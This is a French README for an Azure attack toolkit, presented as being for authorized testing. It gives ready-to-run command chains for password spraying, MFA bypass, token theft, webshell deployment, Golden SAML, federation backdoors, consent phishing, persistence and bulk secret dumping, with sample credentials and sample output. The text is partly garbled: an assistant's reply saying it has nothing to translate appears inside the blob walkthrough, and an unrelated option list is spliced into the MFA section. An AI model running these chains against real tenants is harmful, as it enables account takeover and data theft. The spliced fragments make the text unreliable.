
Boîte à outils Go pour les évaluations de sécurité Azure autorisées : énumère les abonnements et les ressources, audite les erreurs de configuration et attaque anonymement le stockage Blob public.
azpt)🚧 Bêta publique.
azptest en cours de développement actif — les commandes, les options et les formats de sortie peuvent encore changer entre les versions. Les rapports de bugs et les retours sont les bienvenus via les issues GitHub.
azpt est une boîte à outils Go pour les évaluations de sécurité Azure autorisées. Il fonctionne
selon deux perspectives :
⚠️ Usage autorisé uniquement. N'exécutez ceci que contre des tenants, des abonnements et des comptes de stockage pour lesquels vous disposez d'une autorisation écrite explicite de test. Les commandes
blobanonymes touchent une infrastructure tierce via Internet — limitez-les à votre périmètre d'intervention.
Tous les exemples ci-dessous ciblent une société fictive Acme Corp dont le site marketing statique
est hébergé depuis un compte de stockage Azure nommé acmewebsite
(https://acmewebsite.blob.core.windows.net).
La documentation complète se trouve dans docs/ :
docs/guides/) — par fonctionnalité : comment la
technique fonctionne, la permission Azure RBAC / Microsoft Graph exacte qu'elle nécessite,
les options clés expliquées, des exemples, et des notes OPSEC / détection — organisés par
phase d'intervention.docs/guides/scenarios/)
— des récits d'attaque de bout en bout qui enchaînent les commandes à travers les phases (token →
Global Admin, prise de contrôle Golden SAML, vol de PRT, consent phishing → M365,
mouvement latéral par identité managée, chasse annuaire hors ligne, phishing par device-code),
chacun avec OPSEC et nettoyage.docs/reference/) — une page auto-générée
par commande avec chaque option (nom, raccourci, type, valeur par défaut,
description). Régénérez avec azpt gen-docs docs/reference ; les mêmes informations
s'affichent avec azpt <command> --help.Téléchargez l'archive correspondant à votre plateforme depuis la dernière version, vérifiez-la, puis extrayez :```bash
tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS
Les binaires sont statiques (`CGO_ENABLED=0`) et ne nécessitent aucune dépendance à l'exécution.
Les builds sont publiés pour linux et darwin sur amd64 et arm64.
Les binaires Windows ne sont pas publiés. Les helpers spécifiques à Windows (`prt extract`,
`adconnect sync-creds`, DPAPI) se compilent toujours depuis les sources avec `go build -o
azpt.exe .` sur un hôte Windows.
### Depuis les sources
Nécessite Go 1.26+.```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .
Cela produit un binaire azpt autonome à la racine du dépôt. Vous pouvez également exécuter
sans compiler via go run . <command> depuis le répertoire du dépôt.
Aucune connexion Azure n'est nécessaire pour les commandes anonymes blob :```bash
./azpt blob hunt --account acmewebsite
Avec des identifiants Azure (`az login`), évaluez depuis l'intérieur — à la fois le plan de gestion des ressources (ARM) et l'annuaire (Entra ID / Graph) :```bash
./azpt enum whoami # who am I authenticated as?
./azpt enum subscriptions # what subscriptions can this principal see?
./azpt audit storage # misconfigured storage accounts
./azpt enum users # dump the Entra ID directory (Graph)
Une chaîne courante : récupérer un identifiant de manière anonyme avec blob hunt, se connecter en tant que cet utilisateur (az login), vérifier ce qu'il peut faire avec enum access, puis piller tous les Key Vaults accessibles :```bash
./azpt enum access # token scopes, directory roles, groups, RBAC roles
./azpt enum resources # find Key Vaults (type: vaults)
./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault
./azpt vault dump --vault ext-contractors # read every secret value (the loot)
---
## Authentification
Les commandes `blob` anonymes ne nécessitent **aucune** authentification. Tout le reste utilise
la **chaîne d'informations d'identification par défaut** Azure, qui essaie, dans l'ordre : les variables
d'environnement, l'identité de charge de travail, l'identité managée et l'Azure CLI (`az login`).```bash
az login
./azpt enum subscriptions
Forcer une authentification explicite par service-principal (utile pour une identité d'évaluation à portée limitée) avec des flags ou des variables d'environnement. Vous n'en avez pas encore ? az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> en génère un — consultez Getting
started pour la
procédure complète, y compris les permissions Graph que le RBAC seul ne vous accorde pas :```bash
./azpt --tenant --client-id --client-secret
enum subscriptions
export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions
**Authentification par certificat** (PFX ou PEM) :```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
--certificate ./cert.pfx --cert-password 'P@ss' \
enum subscriptions
Limitez les exécutions authentifiées à des abonnements spécifiques avec --subscription
(répétable) ; la valeur par défaut est chaque abonnement accessible par le principal :```bash
./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage
---
## Référence des commandes
🧪 indique une commande encore en **bêta** : implémentée et utilisable, mais moins
éprouvée que le reste de la suite — attendez-vous à des aspérités, et merci de
signaler les problèmes rencontrés.
| Commande | Auth | API | Description |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | Le domaine est-il adossé à Entra ID ? (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | Découvrir l'ID du tenant (config OpenID) |
| `recon outsider <domain>` | ❌ | Identity+DNS | Reconnaissance externe complète : realm, tenant, MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | Énumérer les sous-domaines de services Azure (App Service, Storage, Vault, SQL, ...) |
| `recon users` | ❌ | Identity | Valider si des noms d'utilisateur existent dans Entra ID |
| `spray` | ❌ | Identity | Password-spray d'un mot de passe sur des noms d'utilisateur (autorisé uniquement) |
| `mfa audit` | ❌ | Identity | Trouver les lacunes d'application du MFA (ROPC sur ressources/clients/User-Agents) |
| `mfa token` | ❌ | Identity | Obtenir un access token via une lacune MFA (essaie automatiquement les User-Agents) |
| `mfa refresh` | ❌ | Identity | Échanger un refresh token contre le token d'une autre ressource (FOCI) |
| `mfa devicecode` | ❌ | Identity | Leurre de phishing par device-code → capture des tokens après connexion de la victime |
| `imds token` | ❌ | IMDS | Générer un token d'identité managée sur une ressource compromise (exécuter sur l'hôte) |
| `imds loot` | ❌ | IMDS | Récupérer les tokens MI pour ARM, Graph, Storage et Key Vault en une fois |
| `enum ca` | ✅ | Graph | Énumérer les politiques d'accès conditionnel et signaler les lacunes MFA |
| `enum deployments` | ✅ | ARM | Lister l'historique des déploiements ARM, signaler les paramètres porteurs de secrets |
| `webapp list/settings/creds` | ✅ | ARM | Inventaire App Service, paramètres d'application, identifiants de publication Kudu |
| `webapp exec` | ✅ | ARM/Kudu | Exécuter une commande sur un site via Kudu (RCE) |
| `webapp loot` | ✅ | ARM | Chaque application : paramètres + chaînes de connexion + identifiants Kudu, signaler les secrets |
| `storage keys` | ✅ | ARM | Lister les clés d'accès d'un compte de stockage |
| `storage sas` | ✅ | ARM | Générer un token SAS de compte via ARM |
| `vm list` / `vm run` | ✅ | ARM | Lister les VM / exécuter une commande via RunCommand |
| `automation list/loot` | ✅ | ARM | Runbooks Automation, variables, noms d'identifiants |
| `loot keys` | ✅ | ARM | Balayer les clés/chaînes de connexion de Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps |
| `loot apim` | ✅ | ARM | Valeurs nommées d'API Management (y compris les secrets) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Définitions Logic App / services liés Data Factory |
| `aks list` / `aks kubeconfig` | ✅ | ARM | Lister les clusters AKS / récupérer le kubeconfig cluster-admin |
| `enum approles` | ✅ | Graph | Énumérer les attributions de rôles d'application Graph, signaler les chemins de privesc (→ Global Admin) |
| `enum privroles` | ✅ | Graph | Détenteurs de rôles d'annuaire privilégiés (actifs + éligibles PIM) |
| `enum grants` | ✅ | Graph | Attributions déléguées OAuth2 (illicites / sur-consentement), scopes dangereux signalés |
| `enum laps` | ✅ | Graph | Récupérer les mots de passe d'admin local Windows LAPS depuis Entra |
| `enum bitlocker` | ✅ | Graph | Récupérer les clés de récupération BitLocker depuis Entra |
| `enum dynamicgroups` | ✅ | Graph | Groupes dynamiques (basés sur des règles) — surface d'auto-adhésion / privesc |
| `enum guests` / `enum devices` | ✅ | Graph | Utilisateurs invités (B2B) / appareils enregistrés |
| `enum risky` | ✅ | Graph | Chasse aux éléments obsolètes/risqués : invités, SP de synchronisation, break-glass, applications avec secrets |
| `enum intune` / `intune list` | ✅ | Graph | Lister les appareils gérés par Intune |
| `intune script` | ✅ | Graph | Déployer un script PowerShell sur un groupe d'appareils (RCE SYSTEM) |
| `recon tenantinfo` | ❌ | Identity | Reconnaissance externe approfondie : ID du tenant, fédération, Seamless SSO, synchronisation on-prem |
| `entra create-app` | ✅ | Graph | Créer une application + SP + secret (identité de persistance contrôlable) |
| `entra reset-password` | ✅ | Graph | Réinitialiser le mot de passe d'un utilisateur (prise de contrôle de compte) |
| `token decode` | ❌ | — | Décoder les claims d'un JWT (identité, scopes, rôles, wids→noms de rôles, expiration) |
| `elevate-access` | ✅ | ARM | Global Admin → User Access Administrator à la racine du tenant (pivot Entra→Azure) |
| `entra add-member/add-owner` | ✅ | Graph | Ajouter un membre/propriétaire à un groupe/application/SP (privesc & persistance) |
| `entra grant` | ✅ | Graph | Créer une attribution de consentement OAuth2 (consentement illicite) |
| `entra invite` / `entra tap` | ✅ | Graph | Inviter un invité B2B / créer un Temporary Access Pass (contournement d'authentification) |
| `scan --loot` | ✅ | ARM+Graph | Scan approfondi du butin : clés Function App, kubeconfig AKS, LAPS, BitLocker, APIM, pare-feu DB, snapshots, rôles personnalisés, identifiants obsolètes |
| `scan --bloodhound` | ✅ | — | Exporter le graphe Entra+ARM au format BloodHound CE OpenGraph JSON |
| `enum adminunits` | ✅ | Graph | Unités administratives et leurs membres de rôles à portée (abus d'admin à portée AU) |
| `enum identities` | ✅ | ARM | Cartographier les identités managées vers leurs ressources hôtes |
| `enum lighthouse` | ✅ | ARM | Délégations Azure Lighthouse (tenants externes gérant cet abonnement) |
| `enum pip` | ✅ | ARM | Lister les adresses IP publiques sur la portée de l'abonnement |
| `entra update-profile` | ✅ | Graph | Mettre à jour les attributs de profil d'un utilisateur (abus de groupe dynamique) |
| `app add-secret` | ✅ | Graph | Ajouter un secret client à une inscription d'application (persistance/privesc) |
| `app add-federated` | ✅ | Graph | Ajouter un identifiant d'identité fédérée (persistance via IdP externe) |
| `webapp functionkeys` | ✅ | ARM | Clés d'hôte Function App (master key → API admin / RCE) |
| `disk list` / `disk export` | ✅ | ARM | Lister les disques/snapshots / export read-SAS pour l'extraction hors ligne de VHD |
| `storage shares` / `storage queues` | ✅ | ARM | Lister les partages Azure Files / files d'attente Storage |
| `storage peek` / `storage files` | ✅ | Storage | Lire le contenu d'un message de file d'attente / lister les fichiers d'un partage (plan de données) |
| `loot aci` | ✅ | ARM/data | Variables d'environnement des Container Instances |
| `loot appconfig` 🧪 | ✅ | ARM/data | Paires clé-valeur App Configuration |
| `cosmos list/dump/table` | ✅ | ARM+data | Comptes Cosmos DB, bases de données, conteneurs, lectures de documents, Table API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | Secrets + variables d'environnement de Container App / exec dans un réplica / vol de token MI |
| `iot list/devices/invoke` | ✅ | ARM+data | Clés IoT Hub, identités d'appareils, invocation de méthode directe (RCE sur appareil) |
| `backup vaults/items/restore` | ✅ | ARM | Coffres Recovery Services, éléments de sauvegarde + points de récupération, restauration de disques |
| `db list/query` | ✅ | ARM+data | Énumération et requête de serveurs PostgreSQL/MySQL (Entra ou login DB) |
| `blob containers` | ❌ | Blob | Lister tous les conteneurs d'un compte de stockage (avec --sas pour un SAS au niveau service) |
| `m365 mail/files/sites` | ✅ | Graph | Extraire la boîte mail, OneDrive et SharePoint avec un token Graph |
| `blob brute` | ❌ | DNS/Blob | Découvrir des comptes de stockage par nom et sonder les conteneurs anonymes |
| `recon takeover` | ❌ | DNS | Signaler les CNAME Azure orphelins (prise de contrôle de sous-domaine) |
| `audit network` | ✅ | ARM | Auditer l'exposition Internet des NSG et les IP publiques |
| `audit keyvault` | ✅ | ARM | Auditer l'accès public au Key Vault, purge/suppression réversible, politiques larges |
| `audit rbac` | ✅ | ARM | Auditer l'hygiène RBAC : prolifération d'Owner, UAA, rôles personnalisés risqués |
| `enum subscriptions` | ✅ | ARM | Lister les abonnements visibles par le principal actuel |
| `enum resources` | ✅ | ARM | Lister toutes les ressources sur la portée de l'abonnement (`--fast` utilise Resource Graph ; `--access` ajoute une colonne du rôle RBAC détenu sur chacune) |
| `enum kql` | ✅ | ARM | Exécuter une requête Azure Resource Graph (KQL) arbitraire sur la portée |
| `enum users` | ✅ | Graph | Lister les utilisateurs de l'annuaire Entra ID |
| `enum groups` | ✅ | Graph | Lister les groupes de l'annuaire Entra ID |
| `enum service-principals` | ✅ | Graph | Lister les service principals / applications d'entreprise |
| `enum apps` | ✅ | Graph | Lister les inscriptions d'applications, avec le nombre de secrets/certificats |
| `enum org` | ✅ | Graph | Afficher les informations du tenant/organisation et les domaines vérifiés |
| `enum whoami` | ✅ | Graph | Afficher l'utilisateur actuellement authentifié (`/me`) |
| `enum access` | ✅ | ARM+Graph | Afficher votre accès effectif : scopes de token, rôles d'annuaire, appartenances aux groupes, rôles RBAC |
| `scan` | ✅ | ARM+Graph | Cartographier l'accès de l'utilisateur sous forme de graphe de chemins d'attaque à la BloodHound (+ HTML) |
| `audit storage` | ✅ | ARM | Auditer les comptes de stockage (accès public, TLS, transport, pare-feu) |
| `vault list` | ✅ | KV | Lister les secrets, clés et certificats d'un Key Vault |
| `vault get --secret <n>` | ✅ | KV | Lire la valeur d'un seul secret Key Vault |
| `vault dump` | ✅ | KV | Lister et lire tous les secrets d'un Key Vault |
| `sql databases` | ✅ | SQL | Lister les bases de données d'un serveur Azure SQL |
| `sql tables` | ✅ | SQL | Lister les tables (avec le nombre de lignes) d'une base de données |
| `sql query -q <sql>` | ✅ | SQL | Exécuter une requête en lecture seule (les mutations nécessitent `--allow-write`) |
| `sql dump --table <t>` | ✅ | SQL | Extraire les lignes d'une table |
| `storage containers` | ✅ | Storage | Lister les conteneurs blob (authentifié) |
| `storage blobs` | ✅ | Storage | Lister les blobs d'un conteneur (authentifié) |
| `storage download` | ✅ | Storage | Télécharger un blob (authentifié) |
| `storage tables` | ✅ | Storage | Lister les Storage Tables d'un compte |
| `storage entities` | ✅ | Storage | Interroger/extraire les lignes d'une Storage Table |
| `blob check <path>` | ❌ | Blob | Faire un HEAD sur un blob pour tester l'accessibilité anonyme |
| `blob list` | ❌ | Blob | Lister un conteneur anonymement (`--versions`, `--delimiter /`, `--prefix`) |
| `blob versions` | ❌ | Blob | Énumérer les versions de blobs — fait apparaître les fichiers anciens/remplacés/supprimés |
| `blob download <path>` | ❌ | Blob | Télécharger un blob, éventuellement une `--version-id` spécifique |
| `blob hunt` | ❌ | Blob | Sonder les conteneurs, énumérer les versions et signaler les fichiers porteurs de secrets |
| `vm show` | ✅ | ARM | Informations détaillées sur la VM : user data, IP publiques/privées, tags, utilisateur admin |
| `vm extensions` | ✅ | ARM | Lister les extensions de VM (fuite d'identifiants via Custom Script Extension) |
| `vm steal-token` | ✅ | ARM | Voler un token d'identité managée depuis une VM via IMDS (RunCommand) |
| `enum synced` | ✅ | Graph | Lister les utilisateurs synchronisés on-premises avec leurs Security Identifiers (SIDs) |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | Lister les environnements Power Platform (instances Dataverse) |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | Lister les applications canvas Power Apps |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | Lister les tables Dataverse (définitions d'entités) |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | Interroger les lignes d'une table Dataverse via OData |
| `webapp deploy` | ✅ | Kudu | Téléverser un fichier vers une application web via Kudu VFS (déploiement de webshell) |
| `token extract` | ❌ | — | Extraire les tokens d'un fichier de cache de tokens MSAL (refresh + access) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Canaux Teams, recherche de mails, recherche SharePoint/OneDrive |
| `m365 scan` | ✅ | Graph | Scanner les données M365 à la recherche de secrets, mots de passe, identifiants (14 motifs) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | Énumérer les organisations Azure DevOps : projets, service connections (SP/tenant/abonnement exposés), groupes de variables, pipelines |
| `devops preview` | ✅ | DevOps | Résoudre le YAML final d'un pipeline après expansion des templates/variables sans l'exécuter |
| `devops run` | ✅ | DevOps | Mettre en file une exécution réelle de pipeline et capturer son log de build (s'exécute sous l'identité de la service connection du pipeline) |
| `arm deploy-script` | ✅ | ARM | Exécuter du code dans un conteneur ACI transitoire via `deploymentScripts` (RCE), en attachant éventuellement une identité managée |
| `persistence grant-rbac` | ✅ | ARM | Attribuer un rôle RBAC (ex. Owner) à soi-même ou à un principal sur n'importe quelle portée (privesc/persistance) |
| `persistence attach-identity` | ✅ | ARM | Attacher une identité managée affectée par l'utilisateur à une ressource (privesc via `steal-token`) |
| `aks kubeconfig --user` | ✅ | ARM | Récupérer le kubeconfig utilisateur authentifié Entra (fonctionne sur les clusters avec comptes locaux désactivés) |
| `k8s secrets` | ✅ | K8s | Extraire tous les secrets Kubernetes d'un namespace (ou du cluster entier) |
| `k8s serviceaccounts` | ✅ | K8s | Lister les service accounts, en signalant ceux fédérés via Azure Workload Identity |
| `k8s pods` | ✅ | K8s | Lister les pods et le service account sous lequel chacun s'exécute |
| `k8s rbac` | ✅ | K8s | Énumérer les cluster/role bindings, en signalant les chemins de privesc cluster-admin/wildcard/pod-exec/secrets-read |
| `k8s exec` | ✅ | K8s | Exécuter une commande dans un pod (RCE non interactive, sous le service account de ce pod) |
| `k8s steal-token` | ✅ | K8s | Générer un token de service account via l'API TokenRequest (fonctionne sans secret de token monté) |
| `k8s pivot-azure` | ✅ | K8s→Entra | Voler un token SA fédéré par workload identity et l'échanger contre un véritable access token Azure AD |
| `harvest` | ❌ | — | Extraire les stockages d'identifiants az CLI / Az PowerShell sur disque (tokens, secrets SP ; stockages protégés par DPAPI sur Windows) |
| `prt nonce` 🧪 | ❌ | Identity | Récupérer un nonce serveur (`srv_challenge`) pour la signature de cookie PRT |
| `prt cookie` 🧪 | ❌ | Identity | Construire un cookie SSO `x-ms-RefreshTokenCredential` signé à partir d'un PRT + clé de session (KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | Chaîne SSO PRT complète : nonce → cookie → authorize → access + refresh token |
| `prt extract` 🧪 | ❌ | Identity | Sur l'hôte (Windows) : extraire un cookie SSO frais depuis BrowserCore.exe et l'échanger (ROADtoken) |
| `device register` | ✅ | DRS | Enregistrer un appareil malveillant (join) → certificat/clé d'appareil — prérequis PRT, contournement de la CA d'appareil, persistance |
| `federation list` | ✅ | Graph | Afficher la configuration de fédération d'un domaine |
| `federation backdoor` | ✅ | Graph | Convertir un domaine managé en Federated, en faisant confiance à un STS attaquant (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | Forger une assertion SAML signée pour n'importe quel utilisateur et l'échanger contre des tokens (Golden SAML) |
| `federation remove` | ✅ | Graph | Supprimer une configuration de fédération (revenir à Managed / nettoyage) |
| `entra phish-app create` 🧪 | ✅ | Graph | Générer une application de phishing par consentement OAuth multi-tenant + URLs de consentement (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | Écouteur local qui capture le code d'autorisation de consentement et l'échange contre des tokens |
| `m365 rules list/add/delete` | ✅ | Graph | Règles de transfert de boîte de réception (persistance silencieuse par transfert de courrier) |
| `scan dump` | ✅ | ARM+Graph | Extraire l'annuaire + le graphe d'attaque dans une base SQLite hors ligne en pur Go |
| `scan query <view>` | ❌ | — | Exécuter des vues analytiques prédéfinies (`admins`, `password-resetters`, `dangerous-approles`, …) sur un dump |
| `adconnect sync-creds` | ✅ | ADSync SQL | Extraire les identifiants de liaison de synchronisation AD Connect chiffrés depuis la base ADSync (déchiffrer avec AADInternals `Get-AADIntSyncCredentials`) |
`azpt` communique avec trois API Azure. Les commandes **ARM** utilisent le SDK Azure ; les
commandes **Graph** (Entra ID / objets d'annuaire) utilisent un token Graph brut issu du
même identifiant ; les commandes **Blob** sont entièrement anonymes.
**Flags globaux** (avant la sous-commande) : `--json`, `--jsonl` (NDJSON, pour
les pipelines de streaming/type BloodHound), `--opsec` (afficher la surface de détection
avant exécution), `--subscription <id>` (répétable), `--tenant`, `--client-id`,
`--client-secret`, `--certificate` (PFX/PEM), `--cert-password`,
`--access-token` (répétable, ou `AZPT_TOKEN`), `--refresh-token` (pivot automatique FOCI),
`--cloud` (`public` | `usgov` | `china` — recible les endpoints ARM/Graph/login
pour les clouds souverains).
Tous les appels ARM et Graph suivent la pagination `nextLink` (pas de troncature silencieuse sur
les grands tenants) et réessaient sur `429`/`503` en respectant `Retry-After`.
**Piloter azpt avec un token volé.** Toute commande authentifiée accepte un
bearer token préalablement obtenu via `--access-token` (ou `AZPT_TOKEN`) au lieu de
`az login` — les tokens récupérés depuis une lacune MFA (`mfa token`), une identité managée
(`imds`), ou par phishing fonctionnent directement. Fournissez-en plusieurs (ARM, Graph, Storage) et
chacun est routé vers l'API dont l'audience correspond :```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html
La chaîne classique de post-exploitation, entièrement en azpt :```bash
T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds
azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity
azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage
**Flags `blob`** (toutes les sous-commandes `blob`) : `--account <name>` (requis),
`--container <name>` (par défaut `$web`), `--api-version <ver>` (par défaut
`2021-08-06` ; doit être ≥ `2019-12-12` pour l'énumération des versions),
`--endpoint-suffix <suffix>` (par défaut `core.windows.net` ; définir sur
`core.usgovcloudapi.net` / `core.chinacloudapi.cn` pour les clouds souverains).
Exécutez `./azpt <command> --help` pour obtenir la liste complète des flags de n'importe quelle commande.
---
## Reconnaissance (domaine uniquement)
Les commandes `recon` constituent le point de départ d'un engagement : à partir d'un simple nom de domaine,
déterminer si l'organisation utilise Entra ID, trouver son ID de tenant, cartographier son
empreinte Azure et valider les noms d'utilisateur — le tout **sans authentification**.```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com
# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com
# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30
# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt
# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com
sprayUne fois que vous disposez de noms d'utilisateur valides et d'un mot de passe candidat (par exemple issu d'un corpus de fuites), testez-le. Il s'agit d'un unique mot de passe appliqué à de nombreux utilisateurs (un spray, et non une attaque par force brute utilisateur par utilisateur qui verrouille les comptes), mais cela reste bruyant et peut déclencher des verrouillages et des alertes.```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm
`--confirm` est obligatoire — omettez-le et la commande refuse de s'exécuter. Les résultats sont
classés : valide, valide-mais-MFA-requis, désactivé, verrouillé (arrêt !), ou invalide.
Les codes qui n'apparaissent qu'*après* la vérification du mot de passe (MFA, expiré, CA) sont
signalés comme **identifiants valides**.
> ⚠️ Le password spraying est une technique intrusive et détectable. Ne l'exécutez que
> contre des tenants pour lesquels vous disposez d'une autorisation écrite explicite de test.
### Failles d'application du MFA — `mfa`
Vous disposez d'**identifiants valides** pour un utilisateur mais le portail Azure demande le MFA.
Les politiques d'accès conditionnel sont fréquemment limitées par *ressource*, *application cliente*,
et *plateforme d'appareil* (qu'Entra dérive du `User-Agent`). Si une politique
n'exige le MFA que lorsqu'une requête correspond à l'une de ces conditions, une requête qui
n'en correspond à **aucune** — par exemple un User-Agent de plateforme d'appareil inhabituel — peut obtenir un
jeton avec **aucun MFA du tout**. C'est la même technique que
[FindMeAccess](https://github.com/absolomb/FindMeAccess), utilisant le flux ROPC.```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm
--no-verify : Ignorer la vérification du certificat TLS (dangereux, à utiliser uniquement pour les tests)--timeout : Délai d'expiration de la requête en secondes (par défaut : 10)--user-agent : Chaîne User-Agent personnalisée pour les requêtes--proxy : Proxy à utiliser pour les requêtes (par exemple, http://127.0.0.1:8080)--header : En-têtes supplémentaires à inclure dans les requêtes (peut être répété)--cookie : Cookies à inclure dans les requêtes--data : Données à envoyer dans le corps de la requête (pour les requêtes POST)--method : Méthode HTTP à utiliser (par défaut : GET)--follow-redirects : Suivre les redirections HTTP--max-redirects : Nombre maximal de redirections à suivre (par défaut : 5)[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"
La faille ici est une condition de plateforme d'appareil où *toutes* les plateformes sont sélectionnées — ce qui semble sécurisé, mais l'évaluation n'impose le MFA que lorsque le User-Agent **correspond à l'une** d'entre elles. Un User-Agent qui ne correspond à aucune (une PlayStation 5, ou une chaîne inventée) se voit accorder l'accès. Maintenant, récupérez un jeton utilisable et pivotez :```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
-r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
# Connect-AzAccount -AccessToken $t -AccountId "j.doe"
-r / -c acceptent soit une URL complète / un app-ID ou un nom court (storage,
graph, keyvault ; cli, office, teams). Obtenez un jeton Storage de la même
manière pour accéder aux données blob qu'un jeton ARM ne peut pas atteindre :```bash
./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm
`--confirm` est obligatoire. ROPC envoie de véritables identifiants au point de terminaison de jeton, donc des tentatives répétées peuvent verrouiller le compte et déclencher des alertes de connexion — le balayage est **échelonné** (référence, puis User-Agents, puis `--full` élargit à chaque client et ressource) afin de maintenir le nombre de requêtes bas, et `--delay <ms>` le limite.
> ⚠️ Les tests MFA basés sur ROPC sont intrusifs et journalisés (ils apparaissent dans les journaux de connexion Entra en tant qu'authentification ROPC). Engagements autorisés uniquement.
## Procédure pas à pas : attaque anonyme sur blob
Il s'agit du workflow phare : compromettre un site web statique hébergé depuis le stockage Azure Blob, avec **zéro identifiant**. Le *listing* anonyme fonctionne lorsque le niveau d'accès public d'un conteneur est défini sur `Container` ; l'*énumération des versions* nécessite en plus que le versioning des blobs soit activé sur le compte.
Pour une explication plus approfondie de chaque étape et de son fonctionnement, voir
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md).```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
# -> HTTP 200 accessible=true
# 2. List the $web container (the default). Note the "versioning:" line —
# if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite
# 3. Enumerate versions. This surfaces files removed from the live site,
# e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite
# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
--version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip
# 5. Inspect the loot.
unzip loot.zip
blob hunthunt automatise les étapes 1 à 4 : il sonde une liste de noms de conteneurs courants, et pour
chacun d'eux qui est listable de manière anonyme, il énumère les versions et signale chaque
fichier contenant des secrets comme une découverte.```bash
./azpt blob hunt --account acmewebsite
I don't see any content to translate in your message. The "INPUT:" section is empty — no Markdown text was included.
Please paste the chunk 39 content you'd like translated from English to French, and I'll return only the translated Markdown, preserving all structure, code, paths, URLs, and identifiers exactly as required.```
account acmewebsite — anonymously listable containers: [$web]
SEVERITY CATEGORY TITLE RESOURCE
HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip
MEDIUM blob-anon Container allows anonymous listing $web
MEDIUM blob-anon Historical blob versions anonymously retrievable $web
LOW blob-anon Blob versioning is enabled $web
Liste de conteneurs personnalisée — remplacer la wordlist intégrée :```bash ./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'
**Modèles de détection personnalisés** — `--pattern` accepte des expressions régulières insensibles à la casse
(répétable). Ils sont vérifiés avant les modèles intégrés et signalés comme HIGH, ce qui leur permet
de primer sur la classification par défaut :```bash
./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'
Rien concernant une cible spécifique n'est codé en dur — la détection intégrée est un ensemble d'expressions régulières sur des classes de fichiers susceptibles de fuiter (voir Findings).
Une fois que vous détenez des identifiants, deux workflows comptent le plus : comprendre ce que l'identité peut faire, et atteindre les secrets.
enum accessUne seule commande consolide la réponse, en utilisant le token avec lequel vous êtes déjà connecté :```bash ./azpt enum access
Il rapporte, en sections :
- **Identité** — utilisateur/application + ID d'objet + tenant (décodé depuis le token)
- **Scopes délégués Graph / rôles d'application** — quels appels d'annuaire réussiront
- **Rôles d'annuaire** — par ex. *Administrateur global* ressort ici
- **Appartenances aux groupes** — depuis `/me/memberOf`
- **Attributions de rôles Azure RBAC** — nom du rôle + scope, par abonnement
Les sections pour lesquelles vous n'avez pas la permission sont listées sous `NOTES` plutôt que de faire échouer
toute la commande. Les attributions de rôles RBAC utilisent le filtre `assignedTo()`, donc les rôles
*hérités* de groupe sont inclus, pas seulement ceux attribués directement.
### Graphe de chemins d'attaque — `scan`
